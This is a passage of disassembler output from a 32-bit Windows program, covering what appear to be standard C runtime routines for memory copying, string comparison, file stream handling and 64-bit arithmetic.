		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41CD2C:				; DATA XREF: sub_41CC90+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_41CD50:				; DATA XREF: sub_41CC90+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CD6C	dd offset loc_41CDCF	; DATA XREF: sub_41CC90:loc_41CCECr
		dd offset loc_41CDBC
		dd offset loc_41CDB4
		dd offset loc_41CDAC
		dd offset loc_41CDA4
		dd offset loc_41CD9C
		dd offset loc_41CD94
		dd offset loc_41CD8C
; ---------------------------------------------------------------------------

loc_41CD8C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_41CD94:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_41CD9C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_41CDA4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_41CDAC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_41CDB4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_41CDBC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41CDCF:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90:off_41CD6Co
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CDD8	dd offset loc_41CDE8	; DATA XREF: sub_41CC90+35r
					; sub_41CC90+92r ...
		dd offset loc_41CDF0
		dd offset loc_41CDFC
		dd offset loc_41CE10
; ---------------------------------------------------------------------------

loc_41CDE8:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41CDF0:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CDFC:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41CE10:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CE28:				; CODE XREF: sub_41CC90+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CE5C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_41CE50:				; CODE XREF: sub_41CC90+1B1j
					; sub_41CC90+208j ...
		neg	ecx
		jmp	off_41CF20[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41CE5C:				; CODE XREF: sub_41CC90+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CE74
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41CE74+4[eax*4]
; ---------------------------------------------------------------------------

loc_41CE74:				; CODE XREF: sub_41CC90+1D6j
					; DATA XREF: sub_41CC90+1DDr
		jmp	off_41CF70[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CE87+1
		dd offset loc_41CEA8
; ---------------------------------------------------------------------------
		ror	dh, 1
		inc	ecx

loc_41CE87:				; DATA XREF: sub_41CC90+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41CEA8:				; DATA XREF: sub_41CC90+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CF24
		dd offset loc_41CF2C
		dd offset loc_41CF34
		dd offset loc_41CF3C
		dd offset loc_41CF44
		dd offset loc_41CF4C
		dd offset loc_41CF54
off_41CF20	dd offset loc_41CF67	; DATA XREF: sub_41CC90+1C2r
; ---------------------------------------------------------------------------

loc_41CF24:				; DATA XREF: sub_41CC90+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax

loc_41CF2C:				; DATA XREF: sub_41CC90+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax

loc_41CF34:				; DATA XREF: sub_41CC90+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax

loc_41CF3C:				; DATA XREF: sub_41CC90+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax

loc_41CF44:				; DATA XREF: sub_41CC90+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax

loc_41CF4C:				; DATA XREF: sub_41CC90+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax

loc_41CF54:				; DATA XREF: sub_41CC90+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41CF67:				; CODE XREF: sub_41CC90+1C2j
					; DATA XREF: sub_41CC90:off_41CF20o
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41CF70	dd offset loc_41CF80	; DATA XREF: sub_41CC90+1B7r
					; sub_41CC90:loc_41CE74r ...
		dd offset loc_41CF88
		dd offset loc_41CF98
		dd offset loc_41CFAC
; ---------------------------------------------------------------------------

loc_41CF80:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CF88:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CF98:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CFAC:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41CC90	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFC5	proc near		; CODE XREF: sub_40D78B+34p
					; sub_40D78B+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41CFC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFD3	proc near		; CODE XREF: sub_41D040+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4DC95C
		call	sub_422608
		mov	edx, dword_4DC95C
		pop	ecx
		mov	ecx, dword_4DC958
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41D032
		push	edx
		call	sub_422608
		add	eax, 10h
		push	eax
		push	dword_4DC95C
		call	sub_41B202
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D015
		retn
; ---------------------------------------------------------------------------

loc_41D015:				; CODE XREF: sub_41CFD3+3Fj
		mov	ecx, dword_4DC958
		sub	ecx, dword_4DC95C
		mov	dword_4DC95C, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4DC958, ecx

loc_41D032:				; CODE XREF: sub_41CFD3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4DC958, 4
		retn
sub_41CFD3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D040	proc near		; CODE XREF: sub_40D878+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41CFD3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41D040	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D052	proc near		; DATA XREF: ___:0042901Co
		push	80h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	dword_4DC95C, eax
		jnz	short loc_41D073
		push	18h
		call	sub_41DA29
		mov	eax, dword_4DC95C
		pop	ecx

loc_41D073:				; CODE XREF: sub_41D052+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4DC95C
		mov	dword_4DC958, eax
		retn
sub_41D052	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D081	proc near		; CODE XREF: ___:0040DB4Bp

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		nop
		call	near ptr 2780144h
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 2890000h
		mov	ax, [ebp+var_16]
		cmp	ax, word_4DB312
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_18]
		cmp	ax, word_4DB310
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1A]
		cmp	ax, word_4DB30E
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1E]
		cmp	ax, word_4DB30A
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_20]
		cmp	ax, word_4DB308
		jnz	short loc_41D0E6
		mov	eax, dword_4DB300
		jmp	short loc_41D12B
; ---------------------------------------------------------------------------

loc_41D0E6:				; CODE XREF: sub_41D081+28j
					; sub_41D081+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		nop
		call	near ptr 2880000h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D113
		cmp	eax, 2
		jnz	short loc_41D10F
		cmp	[ebp+var_32], 0
		jz	short loc_41D10F
		cmp	[ebp+var_24], 0
		jz	short loc_41D10F
		push	1
		pop	eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------

loc_41D10F:				; CODE XREF: sub_41D081+7Aj
					; sub_41D081+81j ...
		xor	eax, eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------

loc_41D113:				; CODE XREF: sub_41D081+75j
		or	eax, 0FFFFFFFFh

loc_41D116:				; CODE XREF: sub_41D081+8Cj
					; sub_41D081+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_4DB308
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_4DB300, eax
		pop	esi

loc_41D12B:				; CODE XREF: sub_41D081+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_422669
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41D15B
		mov	[ecx], eax

locret_41D15B:				; CODE XREF: sub_41D081+D6j
		leave
		retn
sub_41D081	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D160	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4DB35C
		cmp	dword ptr [eax+8], 0
		jnz	short loc_41D1B3
		mov	al, 0FFh
		mov	edi, edi

loc_41D17C:				; CODE XREF: sub_41D160+28j
					; sub_41D160+48j
		or	al, al
		jz	short loc_41D1AE
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_41D17C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_41D17C
		sbb	al, al
		sbb	al, 0FFh

loc_41D1AE:				; CODE XREF: sub_41D160+1Ej
		movsx	eax, al
		jmp	short loc_41D1E7
; ---------------------------------------------------------------------------

loc_41D1B3:				; CODE XREF: sub_41D160+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi

loc_41D1BC:				; CODE XREF: sub_41D160+68j
					; sub_41D160+80j
		or	al, al
		jz	short loc_41D1E7
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_41D1BC
		push	eax
		push	ebx
		call	sub_41D74C
		mov	ebx, eax
		add	esp, 4
		call	sub_41D74C
		add	esp, 4
		cmp	bl, al
		jz	short loc_41D1BC
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh

loc_41D1E7:				; CODE XREF: sub_41D160+51j
					; sub_41D160+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41D160	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41D268
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_41D20B
		cmp	edi, 1
		jz	short loc_41D20B
		cmp	edi, 2
		jnz	short loc_41D268

loc_41D20B:				; CODE XREF: ___:0041D1FFj
					; ___:0041D204j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41D222
		push	esi
		call	sub_4227C5
		add	[esp+14h], eax
		pop	ecx
		xor	edi, edi

loc_41D222:				; CODE XREF: ___:0041D213j
		push	esi
		call	sub_41DB8B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41D237
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41D24B
; ---------------------------------------------------------------------------

loc_41D237:				; CODE XREF: ___:0041D22Ej
		test	al, 1
		jz	short loc_41D24B
		test	al, 8
		jz	short loc_41D24B
		test	ah, 4
		jnz	short loc_41D24B
		mov	dword ptr [esi+18h], 200h

loc_41D24B:				; CODE XREF: ___:0041D235j
					; ___:0041D239j ...
		push	edi
		push	dword ptr [esp+14h]
		push	dword ptr [esi+10h]
		call	sub_42272B
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41D275
; ---------------------------------------------------------------------------

loc_41D268:				; CODE XREF: ___:0041D1F7j
					; ___:0041D209j
		mov	dword_4DB2A8, 16h
		or	eax, 0FFFFFFFFh

loc_41D275:				; CODE XREF: ___:0041D266j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D280	proc near		; CODE XREF: sub_412B08+19Ep
					; sub_41386B+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41D299
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------

loc_41D299:				; CODE XREF: sub_41D280+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41D280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D2B4	proc near		; CODE XREF: ___:004162E3p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41D2D8
		xor	eax, eax
		jmp	loc_41D3A5
; ---------------------------------------------------------------------------

loc_41D2D8:				; CODE XREF: sub_41D2B4+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41D2EB
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41D2F2
; ---------------------------------------------------------------------------

loc_41D2EB:				; CODE XREF: sub_41D2B4+2Dj
		mov	[ebp+arg_C], 1000h

loc_41D2F2:				; CODE XREF: sub_41D2B4+35j
					; sub_41D2B4+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41D326
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41D326
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41D30C
		mov	edi, eax

loc_41D30C:				; CODE XREF: sub_41D2B4+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_41C310
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41D36C
; ---------------------------------------------------------------------------

loc_41D326:				; CODE XREF: sub_41D2B4+47j
					; sub_41D2B4+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41D371
		test	ecx, ecx
		jz	short loc_41D33A
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jnz	short loc_41D3B3

loc_41D33A:				; CODE XREF: sub_41D2B4+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41D34D
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41D34F
; ---------------------------------------------------------------------------

loc_41D34D:				; CODE XREF: sub_41D2B4+8Aj
		mov	edi, ebx

loc_41D34F:				; CODE XREF: sub_41D2B4+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D3AA
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41D3AA

loc_41D36C:				; CODE XREF: sub_41D2B4+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41D39A
; ---------------------------------------------------------------------------

loc_41D371:				; CODE XREF: sub_41D2B4+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41F58A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41D3B3
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41D39A
		mov	[ebp+arg_C], 1

loc_41D39A:				; CODE XREF: sub_41D2B4+BBj
					; sub_41D2B4+DDj
		test	ebx, ebx
		jnz	loc_41D2F2
		mov	eax, [ebp+arg_8]

loc_41D3A5:				; CODE XREF: sub_41D2B4+1Fj
					; sub_41D2B4+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41D3AA:				; CODE XREF: sub_41D2B4+ADj
					; sub_41D2B4+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41D3B5
; ---------------------------------------------------------------------------

loc_41D3B3:				; CODE XREF: sub_41D2B4+84j
					; sub_41D2B4+CFj
		mov	eax, edi

loc_41D3B5:				; CODE XREF: sub_41D2B4+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41D3A5
sub_41D2B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D3BE	proc near		; CODE XREF: sub_416908+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	near ptr 2670E4Ch
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41D3DE
		call	near ptr 2670914h
		nop
		push	eax
		call	sub_4203DF
		pop	ecx

loc_41D3DA:				; CODE XREF: sub_41D3BE+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_41D3DE:				; CODE XREF: sub_41D3BE+Dj
		test	al, 1
		jz	short loc_41D3FF
		test	[esp+arg_4], 2
		jz	short loc_41D3FF
		mov	dword_4DB2A8, 0Dh
		mov	dword_4DB2AC, 5
		jmp	short loc_41D3DA
; ---------------------------------------------------------------------------

loc_41D3FF:				; CODE XREF: sub_41D3BE+22j
					; sub_41D3BE+29j
		xor	eax, eax
		retn
sub_41D3BE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D410	proc near		; CODE XREF: sub_416922+3Fp
					; sub_41A98C+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41D432
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D473
; ---------------------------------------------------------------------------

loc_41D432:				; CODE XREF: sub_41D410+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]

loc_41D440:				; CODE XREF: sub_41D410+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D440
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D46E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41D46E
		jb	short loc_41D46F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41D46F

loc_41D46E:				; CODE XREF: sub_41D410+4Ej
					; sub_41D410+54j
		dec	esi

loc_41D46F:				; CODE XREF: sub_41D410+56j
					; sub_41D410+5Cj
		xor	edx, edx
		mov	eax, esi

loc_41D473:				; CODE XREF: sub_41D410+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41D410	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D480	proc near		; CODE XREF: sub_416922+2Dp
					; sub_41A98C+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41D4A1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41D4F1
; ---------------------------------------------------------------------------

loc_41D4A1:				; CODE XREF: sub_41D480+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]

loc_41D4AF:				; CODE XREF: sub_41D480+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D4AF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41D4DA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41D4DA
		jb	short loc_41D4E2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41D4E2

loc_41D4DA:				; CODE XREF: sub_41D480+4Aj
					; sub_41D480+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]

loc_41D4E2:				; CODE XREF: sub_41D480+52j
					; sub_41D480+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0

loc_41D4F1:				; CODE XREF: sub_41D480+1Fj
		pop	ebx
		retn	10h
sub_41D480	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D500	proc near		; CODE XREF: sub_416A32+5Fp
					; sub_416A32+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41D521
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx

loc_41D521:				; CODE XREF: sub_41D500+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41D53D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx

loc_41D53D:				; CODE XREF: sub_41D500+27j
		or	eax, eax
		jnz	short loc_41D559
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D59A
; ---------------------------------------------------------------------------

loc_41D559:				; CODE XREF: sub_41D500+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]

loc_41D567:				; CODE XREF: sub_41D500+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41D567
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
